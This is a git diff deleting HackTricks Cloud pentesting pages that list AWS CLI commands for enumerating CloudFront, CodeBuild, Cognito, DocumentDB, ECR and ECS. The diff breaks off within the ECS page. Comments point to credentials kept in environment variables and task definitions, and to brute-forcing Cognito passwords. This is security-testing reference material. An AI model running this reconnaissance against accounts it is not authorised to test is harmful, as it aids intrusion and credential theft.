-CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
-
-The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
-
-**By default cookie logging is disabled** but you can enable it.
-
-### Functions
-
-You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS).
-
-As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature.
-
-### Enumeration
-
-```bash
-aws cloudfront list-distributions
-aws cloudfront get-distribution --id <id> # Just get 1
-aws cloudfront get-distribution-config --id <id> 
-
-aws cloudfront list-functions
-aws cloudfront get-function --name TestFunction function_code.js
-
-aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
-```
-
-## Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md" %}
-[aws-cloudfront-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-cloudfront-post-exploitation.md" %}
-[aws-cloudfront-post-exploitation.md](../aws-post-exploitation/aws-cloudfront-post-exploitation.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
deleted file mode 100644
index 7798cea35..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ /dev/null
@@ -1,102 +0,0 @@
-# AWS - Codebuild Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## CodeBuild
-
-AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass:
-
-1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance.
-2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process.
-3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment.
-
-AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability.
-
-### **Github/Gitlab/Bitbucket Credentials**
-
-#### **Default source credentials**
-
-This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials.
-
-The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs.
-
-#### Custom source credential
-
-Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**.
-
-This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one.
-
-### Enumeration
-
-```bash
-# List external repo creds (such as github tokens)
-## It doesn't return the token but just the ARN where it's located
-aws codebuild list-source-credentials
-
-# Projects
-aws codebuild list-shared-projects
-aws codebuild list-projects
-aws codebuild batch-get-projects --names <project_name> # Check for creds in env vars
-
-# Builds
-aws codebuild list-builds
-aws codebuild list-builds-for-project --project-name <p_name>
-aws codebuild list-build-batches
-aws codebuild list-build-batches-for-project --project-name <p_name>
-
-# Reports
-aws codebuild list-reports
-aws codebuild describe-test-cases --report-arn <ARN>
-```
-
-### Privesc
-
-In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-codebuild-privesc.md" %}
-[aws-codebuild-privesc.md](../aws-privilege-escalation/aws-codebuild-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-codebuild-post-exploitation/" %}
-[aws-codebuild-post-exploitation](../aws-post-exploitation/aws-codebuild-post-exploitation/)
-{% endcontent-ref %}
-
-### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md" %}
-[aws-codebuild-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
deleted file mode 100644
index 1701910c0..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - Cognito Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Cognito
-
-Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple.
-
-Central to Amazon Cognito are two primary components:
-
-1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**.
-2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication.
-
-### **User pools**
-
-To learn what is a **Cognito User Pool check**:
-
-{% content-ref url="cognito-user-pools.md" %}
-[cognito-user-pools.md](cognito-user-pools.md)
-{% endcontent-ref %}
-
-### **Identity pools**
-
-The learn what is a **Cognito Identity Pool check**:
-
-{% content-ref url="cognito-identity-pools.md" %}
-[cognito-identity-pools.md](cognito-identity-pools.md)
-{% endcontent-ref %}
-
-## Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# List Identity Pools
-aws cognito-identity list-identity-pools --max-results 60
-aws cognito-identity describe-identity-pool --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-aws cognito-identity list-identities --identity-pool-id <ident-pool-id> --max-results 60
-aws cognito-identity get-identity-pool-roles --identity-pool-id <ident-pool-id>
-
-# Identities Datasets
-## Get dataset of identity id (inside identity pool)
-aws cognito-sync list-datasets --identity-pool-id <ident-pool-id> --identity-id <ident-id>
-## Get info of the dataset
-aws cognito-sync describe-dataset --identity-pool-id <value> --identity-id <value> --dataset-name <value>
-## Get dataset records
-aws cognito-sync list-records --identity-pool-id <value> --identity-id <value> --dataset-name <value>
-
-# User Pools
-## Get pools
-aws cognito-idp list-user-pools --max-results 60
-
-## Get users
-aws cognito-idp list-users --user-pool-id <user-pool-id>
-
-## Get groups
-aws cognito-idp list-groups --user-pool-id <user-pool-id>
-
-## Get users in a group
-aws cognito-idp list-users-in-group --user-pool-id <user-pool-id> --group-name <group-name>
-
-## List App IDs of a user pool
-aws cognito-idp list-user-pool-clients --user-pool-id <user-pool-id>
-
-## List configured identity providers for a user pool
-aws cognito-idp list-identity-providers --user-pool-id <user-pool-id>
-
-## List user import jobs
-aws cognito-idp list-user-import-jobs --user-pool-id <user-pool-id> --max-results 60
-
-## Get MFA config of a user pool
-aws cognito-idp get-user-pool-mfa-config --user-pool-id <user-pool-id>
-
-## Get risk configuration
-aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
-```
-{% endcode %}
-
-### Identity Pools - Unauthenticated Enumeration
-
-Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles).
-
-### User Pools - Unauthenticated Enumeration
-
-Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.**
-
-## Privesc
-
-{% content-ref url="../../aws-privilege-escalation/aws-cognito-privesc.md" %}
-[aws-cognito-privesc.md](../../aws-privilege-escalation/aws-cognito-privesc.md)
-{% endcontent-ref %}
-
-## Unauthenticated Access
-
-{% content-ref url="../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md" %}
-[aws-cognito-unauthenticated-enum.md](../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-## Persistence
-
-{% content-ref url="../../aws-persistence/aws-cognito-persistence.md" %}
-[aws-cognito-persistence.md](../../aws-persistence/aws-cognito-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
deleted file mode 100644
index b19805d71..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ /dev/null
@@ -1,66 +0,0 @@
-# AWS - DocumentDB Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## DocumentDB
-
-Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB.
-
-### Enumeration
-
-```bash
-aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
-aws docdb describe-db-instances #Get hostnames from here
-
-# Parameter groups
-aws docdb describe-db-cluster-parameter-groups
-aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name <param_group_name>
-
-# Snapshots
-aws docdb describe-db-cluster-snapshots
-aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier <snap_id>
-```
-
-### NoSQL Injection
-
-As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks:
-
-{% embed url="https://book.hacktricks.xyz/pentesting-web/nosql-injection" %}
-
-### DocumentDB
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-documentdb-enum.md" %}
-[aws-documentdb-enum.md](../aws-unauthenticated-enum-access/aws-documentdb-enum.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
deleted file mode 100644
index f33f7488f..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
+++ /dev/null
@@ -1,131 +0,0 @@
-# AWS - ECR Enum
-
-## AWS - ECR Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### ECR
-
-#### Basic Information
-
-Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images.
-
-ECR is compose by 2 types of objects: **Registries** and **Repositories**.
-
-**Registries**
-
-Every AWS account has 2 registries: **Private** & **Public**.
-
-1. **Private Registries**:
-
-* **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission.
-  * The URI of a **private repository** follows the format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
-* **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles.
-* **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS...
-* **Other private registry options**:
-  * The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images.
-  * The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions.
-  * The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**.
-  * Specific **IAM policies** can be configured to grant different **permissions**.
-  * The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo.
-
-2. **Public Registries**:
-
-* **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.**
-  * The URI of a **public repository** is like `public.ecr.aws/<random>/<name>`. Although the `<random>` part can be changed by the admin to another string easier to remember.
-
-**Repositories**
-
-These are the **images** that in the **private registry** or to the **public** one.
-
-{% hint style="info" %}
-Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**.
-{% endhint %}
-
-#### Registry & Repository Policies
-
-**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image:
-
-<figure><img src="../../../.gitbook/assets/image (280).png" alt=""><figcaption></figcaption></figure>
-
-#### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# Get repos
-aws ecr describe-repositories
-aws ecr describe-registry
-
-# Get image metadata
-aws ecr list-images --repository-name <repo_name>
-aws ecr describe-images --repository-name <repo_name>
-aws ecr describe-image-replication-status --repository-name <repo_name> --image-id <image_id>
-aws ecr describe-image-scan-findings --repository-name <repo_name> --image-id <image_id>
-aws ecr describe-pull-through-cache-rules --repository-name <repo_name> --image-id <image_id>
-
-# Get public repositories
-aws ecr-public describe-repositories
-
-# Get policies
-aws ecr get-registry-policy
-aws ecr get-repository-policy --repository-name <repo_name>
-```
-{% endcode %}
-
-#### Unauthenticated Enum
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md" %}
-[aws-ecr-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-#### Privesc
-
-In the following page you can check how to **abuse ECR permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-ecr-privesc.md" %}
-[aws-ecr-privesc.md](../aws-privilege-escalation/aws-ecr-privesc.md)
-{% endcontent-ref %}
-
-#### Post Exploitation
-
-{% content-ref url="../aws-post-exploitation/aws-ecr-post-exploitation.md" %}
-[aws-ecr-post-exploitation.md](../aws-post-exploitation/aws-ecr-post-exploitation.md)
-{% endcontent-ref %}
-
-#### Persistence
-
-{% content-ref url="../aws-persistence/aws-ecr-persistence.md" %}
-[aws-ecr-persistence.md](../aws-persistence/aws-ecr-persistence.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
deleted file mode 100644
index 198b4e856..000000000
--- a/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
+++ /dev/null
@@ -1,108 +0,0 @@
-# AWS - ECS Enum
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECS
-
-### Basic Information
-
-Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**.
-
-ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**.
-
-* **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”.
-* **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups.
-  * There **2 types of applications**:
-    * **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application.
-    * **Task**: A standalone task that runs and terminates. For example, a batch job.
-  * Among the service applications, there are **2 types of service schedulers**:
-    * [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node.
-    * [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies.
-* **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**...
-  * Check **env variables for sensitive info**!
-
-### Sensitive Data In Task Definitions
-
-Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within.
-
-Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions.
-
-### Enumeration
-
-```bash
-# Clusters info
-aws ecs list-clusters
-aws ecs describe-clusters --clusters <cluster>
-
-# Container instances
-## An Amazon ECS container instance is an Amazon EC2 instance that is running the Amazon ECS container agent and has been registered into an Amazon ECS cluster.
-aws ecs list-container-instances --cluster <cluster>
-aws ecs describe-container-instances --cluster <cluster> --container-instances <container_instance_arn>
-
-# Services info
-aws ecs list-services --cluster <cluster>
-aws ecs describe-services --cluster <cluster> --services <services>
-aws ecs describe-task-sets --cluster <cluster> --service <service>
-
-# Task definitions
-aws ecs list-task-definition-families
-aws ecs list-task-definitions
-aws ecs list-tasks --cluster <cluster>
-aws ecs describe-tasks --cluster <cluster> --tasks <tasks>
-## Look for env vars and secrets used from the task definition
-aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
-```
-
-### Unauthenticated Access
-
-{% content-ref url="../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md" %}
-[aws-ecs-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
-{% endcontent-ref %}
-
-### Privesc
-
-In the following page you can check how to **abuse ECS permissions to escalate privileges**:
-
-{% content-ref url="../aws-privilege-escalation/aws-ecs-privesc.md" %}
-[aws-ecs-privesc.md](../aws-privilege-escalation/aws-ecs-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
